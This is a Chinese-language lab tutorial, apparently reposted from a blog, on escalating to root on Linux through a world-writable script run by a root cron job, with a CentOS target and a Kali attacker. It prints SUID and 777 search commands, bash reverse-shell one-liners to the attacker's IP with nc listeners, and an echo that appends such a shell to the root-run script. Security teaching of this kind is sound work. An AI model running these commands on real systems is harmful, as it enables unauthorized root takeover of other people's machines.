[权限提升] Linux 提权 维持 — 系统错误配置提权 - 计划任务提权

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Linux 计划任务提权原理

Linux 计划任务提权是由于管理员配置不当,导致以 Root 权限运行的计划任务文件可以被低权限用户修改,从而被攻击者利用,导致提权。

假设 Root 用户设置了一个计划任务,但是该任务执行的文件权限没有设置好,比如设置了 777 权限(前两位是不是 7 不重要,主要是第三位是 7 就可以了)或者 SUID 权限之类的,则有可能会被提权。下面这两条命令,可以辅助我们查找这种权限的文件:

 find / -user root -perm -4000 -print 2>/dev/null # 查找 SUID 文件 find / -perm 777 -print 2>/dev/null              # 查找 777 权限文件

0x0101:知识导入 — 计划任务基础

Linux 中与计划任务相关的命令如下:

 crontab -e  # 编辑计划任务crontab -l  # 查看当前用户的计划任务 => 不同用户编辑的计划任务使用该命令无法查看crontab -r  # 删除目前的 crontab

Linux 中可以使用如下命令查看存放计划任务的文件:

 ls /etc/cron*

0x0102:知识学习 — Crontab 表达式

对于 Linux 中的计划任务,可以参考下面这个链接去学习:

Linux crontab 命令 | 菜鸟教程Linux crontab 命令 Linux 命令大全 Linux crontab 是 Linux 系统中用于设置周期性被执行的指令的命令。 当安装完成操作系统之后,默认便会启动此任务调度命令。 crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。 注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。 Linux 任务调度的工作主要分为..https://www.runoob.com/linux/linux-comm-crontab.htmlhttps://www.runoob.com/linux/linux-comm-crontab.html

计划任务的定时依赖 Crontab 表达式,好在,有许多在线工具可以辅助你解析或生成 Crontab 表达式,比如下面这个网站:

Cron - 在线Cron表达式生成器通过这个生成器,您可以在线生成任务调度比如Quartz的Cron表达式,对Quartz Cron 表达式的可视化双向解析和生成.https://cron.ciding.cc/https://cron.ciding.cc/

0x02:Linux 计划任务提权环境搭建

实验环境简介

  • 靶机 CentOS7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

0x0201:靶机创建运维脚本

很多 Linux 管理员都会创建运维脚本以辅助自己进行机器的维护,它们经常会将这些运维脚本设置到计划任务中以定期对系统进行检查。

所以,为了还原场景,我们先以 Root 用户的身份登录靶机,创建一个 /os_check.sh 脚本,脚本内容如下:

注意:复现时别把脚本创建到 /root 用户目录下

笔者这里吃亏了,一开始将脚本放到了 /root/os_check.sh ,普通用户根本查看不了 /root 目录下的东西,纵使这个东西拥有 777 权限。

 function os_check() {# "系统基础信息"#内核信息kernel=$(uname -r)#操作系统版本release=$(cat /etc/redhat-release)#主机名称hostname=$HOSTNAME#当前时间及运行时间dateload=$(uptime | awk -F "," '{print $1}')# 当前登录用户数users=$(uptime | awk -F "," '{print $2}')echo -e "\n\033[32m##############   系统基础信息 #######\033[0m\n" >> /tmp/bash_os.txtecho -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txtecho -e "|内核信息:\033[31m       $kernel           \033[0m" >> /tmp/bash_os.txtecho -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txtecho -e "|操作系统版本:\033[31m   $release       \033[0m" >> /tmp/bash_os.txtecho -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txtecho -e "|当前时间及运行时间:\033[31m   $dateload       \033[0m" >> /tmp/bash_os.txtecho -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txtecho -e "|当前登录用户数:\033[31m   $users       \033[0m" >> /tmp/bash_os.txtecho -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt}os_check

创建完成后,我们尝试运行一下,输入下面的命令:

 /os_check.sh

如上,是无法直接运行的,因为我们新创建的 .sh 文件还没有赋予 x 可执行权限。

0x0202:为运维脚本赋予不安全的可执行权限

下面我们开始为该文件赋予权限,问题就出在这里,很多管理员很喜欢用下面这条命令赋予可执行权限(这样赋予会导致任意用户都可以修改这个 .sh 文件):

 chmod 777 /os_check.sh

赋予完可执行权限后,我们再使用 /os_check.sh 重新运行运维脚本,脚本运行成功后会在 /tmp/bash_os.txt 文件中写入系统状态信息:

/os_check.sh         # 运行 .sh 脚本
cat /tmp/bash_os.txt # 查看运行结果

如上,证明我们的运维脚本是可以执行的。

0x0203:将运维脚本添加进计划任务中

输入 vim /etc/crontab 命令编辑 crontab 文件(该文件是计划任务文件,只不过写入该文件中的计划任务所有用户都可以直接查看),写入如下内容:

*/1 * * * * root /os_check.sh  # 每分钟以 root 身份执行一次 os_check.sh 脚本

接下来我们只需要等待一分钟后查看 /tmp/bash_os.txt 文件中是否有新的信息,即可验证我们的计划任务是否添加成功:

如上,系统执行了计划任务。至此,提权环境搭建完毕。若等待一分钟后没有执行,可以使用如下两条命令查看计划任务服务的状态:

service crond status  # 查看计划任务服务状态 
service crond restart # 重启计划任务

0x03:Linux 计划任务提权漏洞复现

0x0301:拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查看系统计划任务

输入下面的命令,查看系统中已有的计划任务:

cat /etc/crontab

如上,我们发现,系统会每分钟以 root 用户的身份执行一次 /os_check.sh 文件,我们查看一下该文件的权限:

ls -al /os_check.sh

如上,发现该计划任务脚本的权限是 777,即我们普通用户也有权力修改该文件。

0x0303:更改文件内容进行提权

通过前面的信息收集,我们发现了系统中存在一条计划任务,该任务会每分钟以 Root 身份执行一次 /os_check.sh 文件,我们又发现,对于 /os_check.sh 文件,我们具有修改权限。

所以,使用下面的命令,往 /os_check.sh 文件中追加 Bash 反弹连接的内容:

echo "bash -i >& /dev/tcp/192.168.0.136/8888 0>&1" >> /os_check.sh

然后在攻击机中新开一个窗口,输入下面的连接,监听本机 8888 端口,等待计划任务执行:

nc -lvp 8888

等待一分钟后,靶机中的计划任务运行,就会以 Root 权限执行 /os_check.sh 脚本,顺带运行该脚本中我们插入的 Bash 反弹连接代码,直接将 Root 权限移交给攻击机:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/70418.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GB/T 43698-2024 《网络安全技术 软件供应链安全要求》标准解读

一、43698-2024标准图解 https://mmbiz.qpic.cn/sz_mmbiz_png/rwcfRwCticvgeBPR8TWIPywUP8nGp4IMFwwrxAHMZ9Enfp3wibNxnfichT5zs7rh2FxTZWMxz0je9TZSqQ0lNZ7lQ/640?wx_fmtpng&fromappmsg 标准在线预览: 国家标准|GB/T 43698-2024 相关标准: &a…

记一次golang环境的变化

前两天编译打包了了个文件,把env的 goos 搞坏了 导致运行项目一直报错 先是这样 go: unsupported GOOS/GOARCH pair windows/amd64再是这样 /amd64supported GOOS/GOARCH pair linux咱就说,咱也是知道环境配置的有问题 ( go env GOOS &…

QT笔记——多语言翻译

文章目录 1、概要2、多语言切换2.1、结果展示2.2、创建项目2.2、绘制UI2.2、生成“.st”文件2.4、生成“.qm”文件2.5、工程demo 1、概要 借助QT自带的翻译功能,实现实际应用用进行 “多语言切换” 2、多语言切换 2.1、结果展示 多语言切换 2.2、创建项目 1、文件…

【鸿蒙HarmonyOS Next实战开发】实现ArkTS/JS和C/C++的交互-Node-API

一、HarmonyOS Node-API简介 在HarmonyOS应用开发中,通常以ArkTS/JS语言为主,但在一些特殊场景下,例如游戏开发、物理模拟等,由于对性能、效率等有较高要求,需要借助现有的C/C库来实现。为了满足这种需求,…

mac环境下,ollama+deepseek+cherry studio+chatbox本地部署

春节期间,deepseek迅速火爆全网,然后回来上班,我就浅浅的学习一下,然后这里总结一下,我学习中,总结的一些知识点吧,分享给大家。具体的深度安装部署,这里不做赘述,因为网…

深度学习01 神经网络

目录 神经网络 ​感知器 感知器的定义 感知器的数学表达 感知器的局限性 多层感知器(MLP, Multi-Layer Perceptron) 多层感知器的定义 多层感知器的结构 多层感知器的优势 偏置 偏置的作用 偏置的数学表达 神经网络的构造 ​神经网络的基本…

电脑右下角小喇叭没反应怎么回事,快速解决方案

当电脑右下角的小喇叭(音量图标)没有反应时,可以尝试以下快速解决方案: 一、基础检查与操作 检查键盘音量键: 按下键盘上的音量增加或减少键,或尝试Fn音量键(部分笔记本需组合键)&a…

P3654 First Step (ファーストステップ)(贪心算法)

#include<bits/stdc.h> using namespace std;int main() {int r,c,k;cin>>r>>c>>k;char a[105][105];int ans0;for(int i0;i<r;i){for(int j0;j<c;j){cin>>a[i][j];}}for(int i0;i<r;i){int cnt0; // 用来记录连续空地的数量for(int j…

ASP.NET Core对JWT的封装

目录 JWT封装 [Authorize]的注意事项 JWT封装 NuGet 库 |Microsoft.AspNetCore.Authentication.JwtBearer 9.0.1https://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.JwtBearerhttps://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.JwtBea…

【热点文章-定时计算】分布式任务调度框架xxl-job

分布式任务调度 在分布式架构下&#xff0c;一个服务会部署多个实例来运行业务&#xff1b;如果在这种分布式系统环境下运行任务调度&#xff0c;称为分布式任务调度。 分布式任务调度框架&#xff1a;xxl-job xxl-job环境搭建 本机 仓库源码&#xff1a;xxl-job 初始化…

嵌入式面试题 C/C++常见面试题整理_7

一.什么函数不能声明为虚函数? 常见的不能声明为虚函数的有:普通函数(非成员函数):静态成员函数;内联成员函数;构造函数;友元函数。 1.为什么C不支持普通函数为虚函数?普通函数(非成员函数)只能被overload&#xff0c;不能被override&#xff0c;声明为虚函数也没有什么意思…

【MySQL】深入了解索引背后的内部结构

目录 索引的认识&#xff1a; 作用&#xff1a; 索引的使用&#xff1a; 索引底层的数据结构&#xff1a; 哈希表 AVL树 红黑树 B树&#xff1a; B树&#xff1a; B树搜索&#xff1a; 索引的认识&#xff1a; 索引是数据库中的一个数据结构&#xff0c;用于加速查询…

最新版Node.js下载安装指定版本图文版教程(非常详细)

文字目录 1、什么是Node.js&#xff1f;2、什么是 npm&#xff1f;3、下载Node.js安装包4、详细安装步骤 1、什么是Node.js&#xff1f; Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境&#xff0c;它使 JavaScript 可以在服务器端运行。在 Node.js 出现之前&#…

Spring Boot Web 入门

目录 Spring Boot Web 是 Spring Boot 框架的一个重要模块&#xff0c;它简化了基于 Spring 的 Web 应用程序的开发过程。以下是一个 Spring Boot Web 项目的入门指南&#xff0c;涵盖了项目创建、代码编写、运行等关键步骤。 1. 项目创建 使用 Spring Initializr 使用 IDE …

深度解读 Docker Swarm

一、引言 随着业务规模的不断扩大和应用复杂度的增加,容器集群管理的需求应运而生。如何有效地管理和调度大量的容器,确保应用的高可用性、弹性伸缩和资源的合理分配,成为了亟待解决的问题。Docker Swarm 作为 Docker 官方推出的容器集群管理工具,正是在这样的背景下崭露头…

eggnog后kegg结果提取和注释

首先进入KEGG BRITE: KEGG Orthology (KO) 下载json文件 用python处理一下 import json import re import osos.chdir("C:/Users/fordata/Downloads/") with open("ko00001.json","r") as f:fj f.read()kojson json.loads(fj)with open(&qu…

qt6.8安装mysql8.0驱动

qt6.8安装mysql8.0驱动 qt6.8本身是不带mysql驱动。想要在qt里面使用mysql,还是比较麻烦的。需要自己编译驱动 首先下载qt源码&#xff0c;链接Index of /archive/qt/6.8/6.8.1/single 下载mysql对于驱动文件&#xff0c;链接是MySQL :: Download MySQL Connector/C (Archiv…

学习threejs,使用Lensflare模拟镜头眩光

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️THREE.Lensflare 二、&…

Cortex-M异常处理深度解析:从HardFault到调试实战

文章目录 引言一、Cortex-M异常类型全景图二、关键寄存器:故障分析的“密码本”1. HardFault状态寄存器(HFSR, 0xE000ED2C)2. 可配置故障状态寄存器(CFSR, 0xE000ED28)3. 地址寄存器(BFAR/MMFAR)三、调试实战:从寄存器到代码定位四、自定义HardFault处理程序五、Keil与…

【大模型】DeepSeek与chatGPT的区别以及自身的优势

目录 一、前言二、核心技术对比2.1 模型架构设计2.1.1 ChatGPT的Transformer架构2.1.2 DeepSeek的混合架构 2.2 训练数据体系2.2.1 ChatGPT的数据特征2.2.2 DeepSeek的数据策略 三、应用场景对比3.1 通用场景表现3.1.1 ChatGPT的强项领域3.2.2 DeepSeek的专项突破 3.3 响应效率…